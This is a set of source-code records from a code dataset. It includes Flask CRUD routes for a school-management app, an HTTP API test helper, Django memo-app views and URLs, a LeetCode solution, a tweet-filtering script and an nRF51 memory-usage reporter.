'POST'])\ndef branch_delete(id):\n branch = Branch.query.get_or_404(id)\n if len(branch.promos) > 0 or len(branch.annuals) > 0 or len(branch.students) > 0:\n flash(\"you can't delete this Branch because it is in Relation with other Records\", 'alert-danger')\n if len(branch.promos) > 0:\n flash(\"you have to break the relation with the Sessions first\")\n if len(branch.annuals) > 0:\n flash(\"you have to break the relation with the Annuals first\")\n return redirect(url_for('branch_view', id=id))\n db.session.delete(branch)\n db.session.commit()\n flash('Branch: ' + str(branch.name) + ' is deleted', 'alert-success')\n return redirect(url_for('branch_index'))\n\n\n#######################################\n##### Annual #####\n\n@app.route('/annual/')\n@register_breadcrumb(app, '.basic.annual', 'Annuales')\ndef annual_index():\n # i have to order by school & annual\n annuals = Annual.query.join(Branch).order_by(Branch.id, Annual.annual).all()\n return render_template('basic-forms/annual/index.html', title='Annuals List', annuals=annuals)\n\n@app.route('/annual/create/', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.annual.create', 'Create')\ndef annual_create():\n form = AnnualFormCreate()\n if form.validate_on_submit():\n annual = Annual(\n name=form.name.data, \n display_name=form.display_name.data, \n annual=form.annual.data,\n branch_id=form.branch_id.data\n )\n db.session.add(annual)\n db.session.commit()\n flash('Created and Saved Successfully.', 'alert-success')\n return redirect(url_for('annual_view', id=annual.id))\n return render_template('basic-forms/annual/create.html', title='Annual Create', form=form)\n\n@app.route('/annual/update//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.annual.view.update', 'Update')\ndef annual_update(id):\n annual = Annual.query.get_or_404(id)\n form = AnnualFormUpdate(annual.id)\n if form.validate_on_submit():\n annual.name = form.name.data\n annual.display_name = form.display_name.data\n annual.annual = form.annual.data\n annual.branch_id = form.branch_id.data\n db.session.commit()\n flash('Your changes have been saved.', 'alert-success')\n return redirect(url_for('annual_view', id=annual.id))\n elif request.method == 'GET':\n form.name.data = annual.name\n form.display_name.data = annual.display_name\n form.annual.data = annual.annual\n form.branch_id.data = annual.branch_id\n return render_template('basic-forms/annual/update.html', title='Annual Update', form=form)\n\n@app.route('/annual//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.annual.view', 'View')\ndef annual_view(id):\n annual = Annual.query.get_or_404(id)\n return render_template('basic-forms/annual/view.html', title='Annual View', annual=annual)\n\n@app.route('/annual/delete//', methods=['GET', 'POST'])\ndef annual_delete(id):\n annual = Annual.query.get_or_404(id)\n if len(annual.promos) > 0 or len(annual.semesters) > 0:\n flash(\"you can't delete this Annual because it is in Relation with other Records\", 'alert-danger')\n if len(annual.promos) > 0:\n flash(\"you have to break the relation with the Promoss first\")\n if len(annual.semesters) > 0:\n flash(\"you have to break the relation with the Semesters first\")\n return redirect(url_for('annual_view', id=id))\n db.session.delete(annual)\n db.session.commit()\n flash('Annual: ' + str(annual.name) + ' is deleted', 'alert-success')\n return redirect(url_for('annual_index'))\n\n\n#######################################\n##### Semester #####\n\n@app.route('/semester/')\n@register_breadcrumb(app, '.basic.semester', 'Semesteres')\ndef semester_index():\n # i have to order by school & semester\n semesters = Semester.query.join(Annual)\\\n .order_by(Annual.id, Semester.semester, Semester.latest_update).all()\n return render_template('basic-forms/semester/index.html', title='Semesters List', semesters=semesters)\n\n@app.route('/semester/create/', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.semester.create', 'Create')\ndef semester_create():\n form = SemesterFormCreate()\n if form.validate_on_submit():\n semester = Semester(\n name=form.name.data, \n display_name=form.display_name.data, \n semester=form.semester.data,\n # is_closed=form.is_closed.data,\n annual_id=form.annual_id.data\n # latest_update\n )\n db.session.add(semester)\n db.session.commit()\n flash('Created and Saved Successfully.', 'alert-success')\n return redirect(url_for('semester_view', id=semester.id))\n return render_template('basic-forms/semester/create.html', title='Semester Create', form=form)\n\n@app.route('/semester/update//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.semester.view.update', 'Update')\ndef semester_update(id):\n semester = Semester.query.get_or_404(id)\n if semester.is_locked():\n flash(\"You can't update a closed Semester\")\n return redirect(url_for('semester_view', id=id))\n form = SemesterFormUpdate(id)\n if form.validate_on_submit():\n semester.name = form.name.data\n semester.display_name = form.display_name.data\n semester.semester = form.semester.data\n # semester.is_closed = form.is_closed.data\n semester.annual_id = form.annual_id.data\n db.session.commit()\n flash('Your changes have been saved.', 'alert-success')\n return redirect(url_for('semester_view', id=id))\n elif request.method == 'GET':\n form.name.data = semester.name\n form.display_name.data = semester.display_name\n form.semester.data = semester.semester\n # form.is_closed.data = semester.is_closed\n form.annual_id.data = semester.annual_id\n return render_template('basic-forms/semester/update.html', title='Semester Update', form=form)\n\n@app.route('/semester/duplication-update//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.semester.view.update', 'Update Name')\ndef semester_special_update(id):\n semester = Semester.query.get_or_404(id)\n form = SemesterFormSpecialUpdate(id)\n if form.validate_on_submit():\n semester.name = form.name.data\n db.session.commit()\n flash('Your changes have been saved.', 'alert-success')\n return redirect(url_for('semester_view', id=id))\n elif request.method == 'GET':\n form.name.data = semester.name\n return render_template('basic-forms/semester/update.html', title='Semester Duplication Update', form=form)\n\ndef semester_view_dlc(*args, **kwargs):\n id = request.view_args['id']\n semester = Semester.query.get_or_404(id)\n return [{'text': 'S '+str(semester.get_nbr()), 'url': url_for('semester_view', id=id)}]\n\n@app.route('/semester//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.semester.view', '', dynamic_list_constructor=semester_view_dlc)\ndef semester_view(id):\n semester = Semester.query.get_or_404(id)\n return render_template('basic-forms/semester/view.html', title='Semester View', semester=semester)\n\n# WARNING: i have to check before i delete\n@app.route('/semester/delete//', methods=['GET', 'POST'])\ndef semester_delete(id):\n semester = Semester.query.get_or_404(id)\n if len(semester.sessions) > 0:\n flash(\"you can't delete this Semester because it is in Relation with other Records\", 'alert-danger')\n flash(\"you have to break the relation with the Sessions first\")\n return redirect(url_for('semester_view', id=id))\n db.session.delete(semester)\n db.session.commit()\n flash('Semester: ' + str(semester.name) + ' is deleted', 'alert-success')\n return redirect(url_for('semester_index'))\n\n@app.route('/semester/close//', methods=['GET', 'POST'])\ndef semester_close(id):\n semester = Semester.query.get_or_404(id)\n for parallel in semester.get_parallels():\n if parallel.is_locked() == True:\n parallel.is_closed = True\n semester.is_closed = True\n db.session.commit()\n flash(\"this Semester is now Closed\", 'alert-success')\n return redirect(url_for('semester_view', id=id))\n\n@app.route('/semester/open//', methods=['GET', 'POST'])\ndef semester_open(id):\n semester = Semester.query.get_or_404(id)\n for parallel in semester.get_parallels():\n if parallel.is_locked() != True:\n flash(\"you can have only one Open Semester at a time\", \"alert-danger\")\n return redirect(url_for('semester_index'))\n semester.is_closed = False\n db.session.commit()\n flash(\"this Semester is now Open\", 'alert-success')\n return redirect(url_for('semester_view', id=id))\n\n# you can find Semester Duplication \n# in routesConfig.py duplicate_config()\n\n\n#######################################\n##### Unit #####\n\n@app.route('/unit/delete//', methods=['GET', 'POST'])\ndef unit_delete(id):\n unit = Module.query.get_or_404(id)\n if len(unit.grades) > 0 or len(unit.unit_sessions) > 0 or len(unit.percentages) > 0:\n flash(\"you can't delete this Module because it is in Relation with other Records\", 'alert-danger')\n if len(unit.grades) > 0:\n flash(\"you have to break the relation with the Grades first\")\n if len(unit.unit_sessions) > 0:\n flash(\"you have to break the relation with the ModuleSessions first\")\n if len(unit.unit_sessions) > 0:\n flash(\"you have to break the relation with the ModuleSessions first\")\n return redirect(url_for('unit_view', id=id))\n db.session.delete(unit)\n db.session.commit()\n flash('Module: ' + str(unit.name) + ' is deleted', 'alert-success')\n return redirect(url_for('unit_index'))\n\n\n#######################################\n##### Percantage #####\n\n\n#######################################\n##### Module #####\n\n@app.route('/module/')\n@register_breadcrumb(app, '.basic.module', 'Modules')\ndef module_index():\n modules = Module.query.join(Unit)\\\n .join(Semester)\\\n .join(Annual).join(Branch).join(School)\\\n .order_by(School.name, Branch.name, Annual.annual, Semester.semester, Unit.name, Module.code)\\\n .all()\n\n open_modules = []\n for module in modules:\n semester = module.unit.semester\n if semester.is_locked() == True and len(semester.get_parallels()) > 1:\n continue\n open_modules.append(module)\n\n return render_template('basic-forms/module/index.html', title='Modules List', modules=open_modules)\n\n\n# @app.route('/module/create/', methods=['GET', 'POST'])\n# @register_breadcrumb(app, '.basic.module.create', 'Create')\n# def module_create():\n# form = ModuleFormCreate()\n# if form.validate_on_submit():\n# module = Module(\n# code=form.code.data, \n# name=form.name.data, \n# display_name=form.display_name.data, \n# coefficient=form.coefficient.data, \n# credit=form.credit.data, \n# time=form.credit.data, \n# order=form.credit.data, \n# unit_id=form.unit_id.data\n# )\n# db.session.add(module)\n# db.session.commit()\n# flash('Created and Saved Successfully.', 'alert-success')\n# return redirect(url_for('module_view', id=module.id))\n# return render_template('basic-forms/module/create.html', title='Module Create', form=form)\n\n# @app.route('/module/update//', methods=['GET', 'POST'])\n# @register_breadcrumb(app, '.basic.module.view.update', 'Update')\n# def module_update(id):\n# module = Module.query.get_or_404(id)\n# form = ModuleFormUpdate(module.id)\n# if form.validate_on_submit():\n# module.code = form.code.data\n# module.name = form.name.data\n# module.display_name = form.display_name.data\n# # module.coefficient = form.coefficient.data\n# # module.credit = form.credit.data\n# # module.time = form.time.data\n# # module.order = form.order.data\n# # module.unit_id = form.unit_id.data\n# db.session.commit()\n# flash('Your changes have been saved.', 'alert-success')\n# return redirect(url_for('module_view', id=module.id))\n# elif request.method == 'GET':\n# form.code.data = module.code\n# form.name.data = module.name\n# form.display_name.data = module.display_name\n# # form.coefficient.data = module.coefficient\n# # form.credit.data = module.credit\n# # form.time.data = module.time\n# # form.order.data = module.order\n# # form.unit_id.data = module.unit_id\n# return render_template('basic-forms/module/update.html', title='Module Update', form=form)\n\n@app.route('/module//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.module.view', 'View')\ndef module_view(id):\n module = Module.query.get_or_404(id)\n return render_template('basic-forms/module/view.html', title='Module View', module=module)\n\n# @app.route('/module/delete//', methods=['GET', 'POST'])\n# def module_delete(id):\n# module = Module.query.get_or_404(id)\n# if len(module.grades) > 0 or len(module.module_sessions) > 0 or len(module.percentages) > 0:\n# flash(\"you can't delete this Module because it is in Relation with other Records\", 'alert-danger')\n# if len(module.grades) > 0:\n# flash(\"you have to break the relation with the Grades first\")\n# if len(module.module_sessions) > 0:\n# flash(\"you have to break the relation with the ModuleSessions first\")\n# if len(module.module_sessions) > 0:\n# flash(\"you have to break the relation with the ModuleSessions first\")\n# return redirect(url_for('module_view', id=id))\n# db.session.delete(module)\n# db.session.commit()\n# flash('Module: ' + str(module.name) + ' is deleted', 'alert-success')\n# return redirect(url_for('module_index'))\n\n\n#######################################\n##### Wilaya #####\n\n@app.route('/wilaya/')\n@register_breadcrumb(app, '.basic.wilaya', 'Wilayas')\ndef wilaya_index():\n wilayas = Wilaya.query.all()\n return render_template('basic-forms/wilaya/index.html', title='Wilayas List', wilayas=wilayas)\n\n@app.route('/wilaya/create/', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.wilaya.create', 'Create')\ndef wilaya_create():\n form = WilayaFormCreate()\n if form.validate_on_submit():\n wilaya = Wilaya(\n code=form.code.data, \n name=form.name.data, \n )\n db.session.add(wilaya)\n db.session.commit()\n flash('Created and Saved Successfully.', 'alert-success')\n return redirect(url_for('wilaya_view', id=wilaya.id))\n return render_template('basic-forms/wilaya/create.html', title='Wilaya Create', form=form)\n\n@app.route('/wilaya/update//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.wilaya.view.update', 'Update')\ndef wilaya_update(id):\n wilaya = Wilaya.query.get_or_404(id)\n form = WilayaFormUpdate(wilaya.id)\n if form.validate_on_submit():\n wilaya.code = form.code.data\n wilaya.name = form.name.data\n db.session.commit()\n flash('Your changes have been saved.', 'alert-success')\n return redirect(url_for('wilaya_view', id=wilaya.id))\n elif request.method == 'GET':\n form.code.data = wilaya.code\n form.name.data = wilaya.name\n return render_template('basic-forms/wilaya/update.html', title='Wilaya Update', form=form)\n\n@app.route('/wilaya//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.wilaya.view', 'View')\ndef wilaya_view(id):\n wilaya = Wilaya.query.get_or_404(id)\n return render_template('basic-forms/wilaya/view.html', title='Wilaya View', wilaya=wilaya)\n\n# WARNING: i have to check before i delete\n@app.route('/wilaya/delete//', methods=['GET', 'POST'])\ndef wilaya_delete(id):\n wilaya = Wilaya.query.get_or_404(id)\n if len(wilaya.students) > 0 or len(wilaya.teachers) > 0:\n flash(\"you can't delete this Wilaya because it is in Relation with other Records\", 'alert-danger')\n if len(wilaya.students) > 0:\n flash(\"you have to break the relation with the Students first\")\n if len(wilaya.teachers) > 0:\n flash(\"you have to break the relation with the Teachers first\")\n return redirect(url_for('wilaya_view', id=id))\n db.session.delete(wilaya)\n db.session.commit()\n flash('Wilaya: ' + str(wilaya.name) + ' is deleted', 'alert-success')\n return redirect(url_for('wilaya_index'))\n\n\n#######################################\n##### Teacher #####\n\n@app.route('/teacher/')\n@register_breadcrumb(app, '.basic.teacher', 'Teachers')\ndef teacher_index():\n teachers = Teacher.query.all()\n return render_template('basic-forms/teacher/index.html', title='Teachers List', teachers=teachers)\n\n@app.route('/teacher/create/', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.teacher.create', 'Create')\ndef teacher_create():\n form = TeacherFormCreate()\n if form.validate_on_submit():\n teacher = Teacher(\n username=form.username.data,\n title=form.title.data, \n last_name=form.last_name.data, \n first_name=form.first_name.data,\n # last_name_arab=form.last_name_arab.data,\n # first_name_arab=form.first_name_arab.data,\n email=form.email.data,\n birth_date=form.birth_date.data,\n birth_place=form.birth_place.data,\n address=form.address.data,\n wilaya_id=form.wilaya_id.data,\n sex=form.sex.data,\n phone=form.phone.data,\n ccp=form.ccp.data\n )\n db.session.add(teacher)\n db.session.commit()\n flash('Created and Saved Successfully.', 'alert-success')\n return redirect(url_for('teacher_view', id=teacher.id))\n return render_template('basic-forms/teacher/create.html', title='Teacher Create', form=form)\n\n@app.route('/teacher/update//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.teacher.view.update', 'Update')\ndef teacher_update(id):\n teacher = Teacher.query.get_or_404(id)\n form = TeacherFormUpdate(teacher.id)\n if form.validate_on_submit():\n teacher.username = form.username.data\n teacher.title = form.title.data\n teacher.last_name = form.last_name.data\n teacher.first_name = form.first_name.data\n # teacher.last_name_arab = form.last_name_arab.data\n # teacher.first_name_arab = form.first_name_arab.data\n if len(form.email.data) > 0:\n teacher.email = form.email.data\n teacher.birth_date = form.birth_date.data\n teacher.birth_place = form.birth_place.data\n teacher.address = form.address.data\n teacher.wilaya_id = form.wilaya_id.data\n teacher.sex = form.sex.data\n teacher.phone = form.phone.data\n teacher.ccp = form.ccp.data\n db.session.commit()\n flash('Your changes have been saved.', 'alert-success')\n return redirect(url_for('teacher_view', id=teacher.id))\n elif request.method == 'GET':\n form.username.data = teacher.username\n form.title.data = teacher.title\n form.last_name.data = teacher.last_name\n form.first_name.data = teacher.first_name\n # form.last_name_arab.data = teacher.last_name_arab\n # form.first_name_arab.data = teacher.first_name_arab\n form.email.data = teacher.email\n form.birth_date.data = teacher.birth_date\n form.birth_place.data = teacher.birth_place\n form.address.data = teacher.address\n form.wilaya_id.data = teacher.wilaya_id\n form.sex.data = teacher.sex\n form.phone.data = teacher.phone\n form.ccp.data = teacher.ccp\n return render_template('basic-forms/teacher/update.html', title='Teacher Update', form=form)\n\n@app.route('/teacher//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.teacher.view', 'View')\ndef teacher_view(id):\n teacher = Teacher.query.get_or_404(id)\n return render_template('basic-forms/teacher/view.html', title='Teacher View', teacher=teacher)\n\n# WARNING: i have to check before i delete\n@app.route('/teacher/delete//', methods=['GET', 'POST'])\ndef teacher_delete(id):\n teacher = Teacher.query.get_or_404(id)\n if len(teacher.module_sessions) > 0 or len(teacher.teacher_attendances) > 0:\n flash(\"you can't delete this Teacher because it is in Relation with other Records\", 'alert-danger')\n if len(teacher.module_sessions) > 0:\n flash(\"you have to break the relation with the Module Sessions first\")\n if len(teacher.teacher_attendances) > 0:\n flash(\"you have to break the relation with the Teacher Attendances first\")\n return redirect(url_for('teacher_view', id=id))\n db.session.delete(teacher)\n db.session.commit()\n flash('Teacher: ' + str(teacher.name) + ' is deleted', 'alert-success')\n return redirect(url_for('teacher_index'))\n\n","sub_path":"app/routesBasicTables.py","file_name":"routesBasicTables.py","file_ext":"py","file_size_in_byte":31008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"545090527","text":"# _*_ coding : utf-8 _*-\n#作者jlx\n# @Time: 2020/5/18 19:51\n#@Email:1710770490@qq.com\n#@File:baseobject.py\n'''封装http请求'''\nfrom base_page.common import comm\nfrom base_page.logger import logger\nimport requests,json\n\n\nclass baseObject(comm):\n INDEX=0\n def __init__(self):\n self.initialize()\n def initialize(self):\n da = self.read_yaml() #获取url\n self.url=da['api_url']['test_api']\n self.headers = {}\n def data_convert(self,data,files):\n if isinstance(data,dict):\n data = json.dumps(data)\n if files:\n data = json.loads(data)\n return data\n\n def file_convert(self,files):\n files = files[1:len(files)-1]\n # print(\"属性：\",eval(files),type(files))\n return eval(files)\n def headers_init(self,headers,files):\n self.headers = {'Content-Type': 'application/json'}\n for key,value in headers.items():\n self.headers[key]=value\n if files:\n self.headers={}\n for key, value in headers.items():\n self.headers[key] = value\n def name_convert(self,name):\n if \"${{\" in name and \"}}\" in name:\n value = name.split(\"{{\")[1].split(\"}}\")[0]\n value = self.read_extract(value)\n name=name.split('$')[0] + value\n self.url = self.url+name\n else:\n self.url = self.url+name\n def post(self,data,files):\n res = requests.request('post',url=self.url,data=data,headers=self.headers,files=files)\n return res.json()\n def get(self,data,files):\n res = requests.request('get',url=self.url,data=data,headers=self.headers,files=files)\n return res.json()\n #传值\n def sendinfo(self,data,res):\n if 'extract' in data and data['extract']: #如果存在提取变量的字段\n for key, value in data['extract'].items():\n extract = {}\n extract[key] = res[value]\n self.write_yaml(extract) #存到yaml文件中\n #断言\n def validate(self,yuqi,shiji):\n num = baseObject.INDEX\n for key,value in yuqi.items():\n if key in shiji:\n if value != shiji[key]:\n print(\"用例{3}判断为：{2}!\\n返回值：{0}!= 预期结果：{1}\".format(shiji[key], value, False,num))\n assert shiji[key] == value, \"实际与预期不符\"\n else:\n if isinstance(shiji,list):\n for data in shiji:\n logger.info(\"这是接口返回值：{0}\".format(data))\n yuqi_new = {}\n yuqi_new[key] = value\n self.validate(yuqi=yuqi_new, shiji=data)\n elif isinstance(shiji,dict):\n for _key,_value in shiji.items():\n if isinstance(_value,dict) and (key in _value):\n print(\"这是实际;\", _value)\n yuqi_new = {}\n yuqi_new[key]=value\n self.validate(yuqi=yuqi_new,shiji=_value)\n def base_info(self,mother,name,data=None,headers=None,files=None):\n if files:\n files = self.file_convert(files)\n if data:\n data = self.data_convert(data,files)\n if headers:\n self.headers_init(headers,files)\n if name:\n self.name_convert(name)\n res=''\n mother = mother.upper()\n if mother=='POST':\n res = self.post(data,files)\n elif mother=='GET':\n res = self.get(data,files)\n baseObject.INDEX += 1\n logger.info(\"-->>>开始测试用例{0}，这是接口url：{1}\".format(baseObject.INDEX, self.url))\n logger.info(\"这是接口入参：{0}\".format(data))\n logger.info(\"这是请求头：{1}，这是接口返回值：{0}\".format(res, headers))\n self.initialize()\n return res\n","sub_path":"jiekou_work/base_page/baseobject.py","file_name":"baseobject.py","file_ext":"py","file_size_in_byte":3984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"46961950","text":"from django.contrib import messages\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.urls import reverse_lazy\nfrom django.views import generic\n\nfrom .forms import DayCreateForm\nfrom .models import Day\n\n\n# Create your views here.\n\n\nclass IndexView(LoginRequiredMixin, generic.ListView):\n model = Day\n paginate_by = 8\n login_url = '/buybuy/signin/'\n\n def get_queryset(self):\n return Day.objects.filter(user=self.request.user)\n\n\nclass AddView(LoginRequiredMixin, generic.CreateView):\n model = Day\n form_class = DayCreateForm\n # fields = '__all__'\n login_url = '/buybuy/signin/'\n\n # 単純なフォームだったらform_classはいらなくてこれでok\n # fields = '__all__'\n\n # redirect()はhttp response objectを返す関数\n # reverse_lazy()は文字列を返す関数\n success_url = reverse_lazy('memoapp:index')\n\n def form_valid(self, form):\n messages.success(self.request, 'Your desire was added successfully')\n form.instance.user = self.request.user\n response = super().form_valid(form)\n return response\n\n\nclass UpdateView(LoginRequiredMixin, generic.UpdateView):\n model = Day\n form_class = DayCreateForm\n login_url = '/buybuy/signin/'\n success_url = reverse_lazy('memoapp:index')\n\n def form_valid(self, form):\n response = super().form_valid(form)\n messages.success(self.request, 'Your desire is updated')\n return response\n\n\nclass DeleteView(LoginRequiredMixin, generic.DeleteView):\n model = Day\n login_url = '/buybuy/signin/'\n success_url = reverse_lazy('memoapp:index')\n\n def delete(self, request, *args, **kwargs):\n response = super().delete(self)\n messages.success(self.request, 'Deleted successfully')\n return response\n\n\nclass DetailView(LoginRequiredMixin, generic.DetailView):\n model = Day\n login_url = '/buybuy/signin/'\n\n\nclass SignUpView(generic.CreateView):\n form_class = UserCreationForm\n success_url = reverse_lazy('memoapp:signin')\n template_name = 'memoapp/signup.html'\n\n def post(self, request, *args, **kwargs):\n response = super().post(self)\n messages.success(self.request, 'Your account was created successfully')\n return response\n\n\n# class ProfileView(generic.TemplateView):\n# model = User\n# template_name = 'memoapp/base.html'\n\n\n'''function\ndef index(request):\n context = {\n 'day_list': Day.objects.all(),\n }\n return render(request, 'memoapp/day_list.html', context)\n\n\ndef add(request):\n # context = {\n # 'form': DayCreateForm()\n # }\n # return render(request, 'memoapp/day_form.html', context)\n\n # 送信内容をもとにフォームを作る。POSTじゃなければ空のフォーム\n form = DayCreateForm(request.POST or None)\n\n # method=POST,つまり送信ボタンを押した時、入力内容に問題が無ければ\n if request.method == 'POST' and form.is_valid():\n form.save()\n return redirect('memoapp:index')\n\n # 通常時にページアクセスや、入力内容に誤りがあればまたページを表示\n context = {\n 'form': form\n }\n return render(request, 'memoapp/day_form.html', context)\n\n\ndef update(request, pk):\n # urlのpkをもとに、Dayを取得\n day = get_object_or_404(Day, pk=pk)\n\n # フォームに取得したDayを紐付ける\n form = DayCreateForm(request.POST or None, instance=day)\n\n # method=POST,つまり送信ボタンを押した時、入力内容に問題が無ければ\n if request.method == 'POST' and form.is_valid():\n form.save()\n return redirect('memoapp:index')\n\n # 通常時のページアクセスや、入力内容に誤りがあればまたページを表示\n context = {\n 'form': form\n }\n return render(request, 'memoapp/day_form.html', context) \n\ndef delete(request, pk):\n day = get_object_or_404(Day, pk=pk)\n\n if request.method == 'POST':\n day.delete()\n return redirect('memoapp:index')\n\n\n context = {\n 'day': day,\n }\n return render(request, 'memoapp/day_confirm_delete.html', context)\n\n\ndef detail(request, pk):\n day = get_object_or_404(Day, pk=pk)\n\n context = {\n 'day': day,\n }\n return render(request, 'memoapp/day_detail.html', context)\n\n'''\n","sub_path":"project/memoapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"70379142","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 17 18:31:38 2020\r\n\r\n@author: BAI Haoyue\r\n\r\n\r\nQ53 Maximum Subarray\r\n\r\nGiven an integer array nums, find the contiguous subarray (containing at least one number) which has the largest sum and return its sum.\r\n\r\nPython3\r\n\"\"\"\r\n\r\nclass Solution:\r\n def maxSubArray(self, nums: List[int]) -> int:\r\n # init buf list with the same length of the list nums\r\n buf = [0] * len(nums)\r\n # assign the first value of nums to the first value of buf\r\n buf[0] = nums[0]\r\n \r\n for i in range(1, len(nums)):\r\n \r\n buf[i] = max(nums[i], nums[i] + buf[i-1])\r\n \r\n return max(buf)","sub_path":"code/Q53.py","file_name":"Q53.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"401547693","text":"# -*= encoding: utf-8 *-*\nimport argparse,os,sys,csv\n\ndef extracttweets(listtweets,date1,date2,fileout):\n #remove header\n listtweets.readline()\n for line in listtweets:\n date = float(line.strip().split(',')[0])\n if date < date1:\n continue\n elif date > date2:\n print('Finished treating file',listtweets.name)\n print(date,'>',date2)\n break\n else:\n fileout.write(line)\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-i','--input',\n type=argparse.FileType('r'),\n required=True,\n help=\"Input file [SORTED BY DATES]\")\n parser.add_argument('-d1','--date1',\n type=float,\n required=True,\n help=\"Epoch time, beginning of the period\")\n parser.add_argument('-d2','--date2',\n type=float,\n required=True,\n help=\"Epoche time, ending of the period\")\n parser.add_argument('-o','--output',\n type=argparse.FileType('w'),\n required=True,\n help=\"Output file,\")\n args = parser.parse_args()\n\n if len(sys.argv) == 1:\n parser.print_help()\n sys.exit(1)\n\n extracttweets(args.input,args.date1,args.date2,args.output)\n\n args.input.close()\n args.output.close()\n\nif __name__ == '__main__':\n main()\n","sub_path":"version_20160401.dir/linkprediction.dir/preliminarystudy.dir/test_sim_june_month.dir/tweetcontent.dir/extract_usertweet_periods.py","file_name":"extract_usertweet_periods.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"359177031","text":"#! /usr/bin/env python\n\n# Copyright (c) 2015-2016 ARM Limited\n# SPDX-License-Identifier: Apache-2.0\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"This script reads the map file generated after the build process and prints\n memory layout information of an nRF51 application.\n USAGE: memory_info.py exec_filepath heap_warning_threshold\n\"\"\"\n\nimport sys\nimport os.path\nimport re\nimport subprocess\nfrom distutils import spawn\n\nARM_SIZE_UTILITY = 'arm-none-eabi-size'\nHEAP_SYMBOL = 'heap'\nSTACK_SYMBOL = 'stack'\nBSS_SYMBOL = 'bss'\nDATA_SYMBOL = 'data'\n\nfail_color = ''\nwarning_color = ''\n\n# If colorama is present, set the fail color to red\ntry:\n from colorama import init, deinit, Fore\n fail_color = Fore.RED\n warning_color = Fore.BLUE\nexcept:\n pass\n\ngeneric_pattern = '^(?P\\\\.(?P
    {0})\\\\s+(?P\\\\d+))\\\\s+\\\\d+$'\ncompiled_patterns = [re.compile('^(?P(?P
    section)\\\\s+size)\\\\s+addr$'),\n re.compile(generic_pattern.format(DATA_SYMBOL)), re.compile(generic_pattern.format(BSS_SYMBOL)),\n re.compile(generic_pattern.format(HEAP_SYMBOL)), re.compile(generic_pattern.format(STACK_SYMBOL))]\n\ndef fail(message):\n print(fail_color + 'ERROR: ' + message)\n\n # If we've included ANSI color in output, reset the output style\n if fail_color:\n print(Fore.RESET)\n deinit()\n\n return 1\n\ndef warning(message):\n output = warning_color + 'WARNING: ' + message\n\n # If we've included ANSI color in output, reset the output style\n if warning_color:\n output += Fore.RESET\n deinit()\n\n return output\n\ndef main(arguments):\n # If using ANSI coloring is available, initialize colorama\n if fail_color and warning_color:\n init()\n\n # Ensure the right number of arguments are supplied\n if len(arguments) != 2:\n return fail('Improper use of memory_info.py.\\nUSAGE: memory_info.py exec_filepath heap_warning_threshold.')\n exec_filepath = arguments[0]\n warning_threshold = 0\n try:\n warning_threshold = int(arguments[1])\n if warning_threshold < 0:\n return fail('Second argument of memory_info.py must be a positive integer. Found \\'{0}\\'.'.format(arguments[1]))\n except ValueError:\n return fail('Second argument of memory_info.py must be a positive integer. Found \\'{0}\\'.'.format(arguments[1]))\n\n # Test if required utility exists\n if not spawn.find_executable(ARM_SIZE_UTILITY):\n print(warning('\\'{0}\\' could not be found. No memory usage information will be reported.'.format(ARM_SIZE_UTILITY)))\n return 0\n\n # Execute arm-none-eabi-size and get output\n process = subprocess.Popen([ARM_SIZE_UTILITY, '-A', exec_filepath], stdout=subprocess.PIPE)\n input = process.communicate()[0].strip()\n\n # Process output to remove memory addresses and print warnings when heap is low\n warnings_list = []\n print('Memory usage for \\'{0}\\''.format(exec_filepath))\n for line in input.split(os.linesep):\n for index, pattern in enumerate(compiled_patterns):\n match = re.match(pattern, line)\n if match:\n print(match.group('useful_info'))\n if match.group('section') == HEAP_SYMBOL and warning_threshold > int(match.group('size')):\n warnings_list.append(warning('Available heap < {0} bytes.'.format(warning_threshold)))\n break\n print(os.linesep.join(warnings_list))\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv[1:]))\n","sub_path":"nordic-nrf51822-gcc/scripts/memory_info.py","file_name":"memory_info.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"349188102","text":"from django.urls import path\nfrom .views import register, home, products, add_view, delete_view, edit_view, place_order\n\napp_name = 'seller'\n\nurlpatterns = [\n path('', home, name = 'home'),\n path('register/', register, name = 'register'),\n path('products/', products, name = 'products'),\n path('products/new', add_view, name = 'new-product'),\n path('products//edit', edit_view, name = 'edit-product'),\n path('products//delete', delete_view, name = 'delete-product'),\n path('placeorder/', place_order, name = 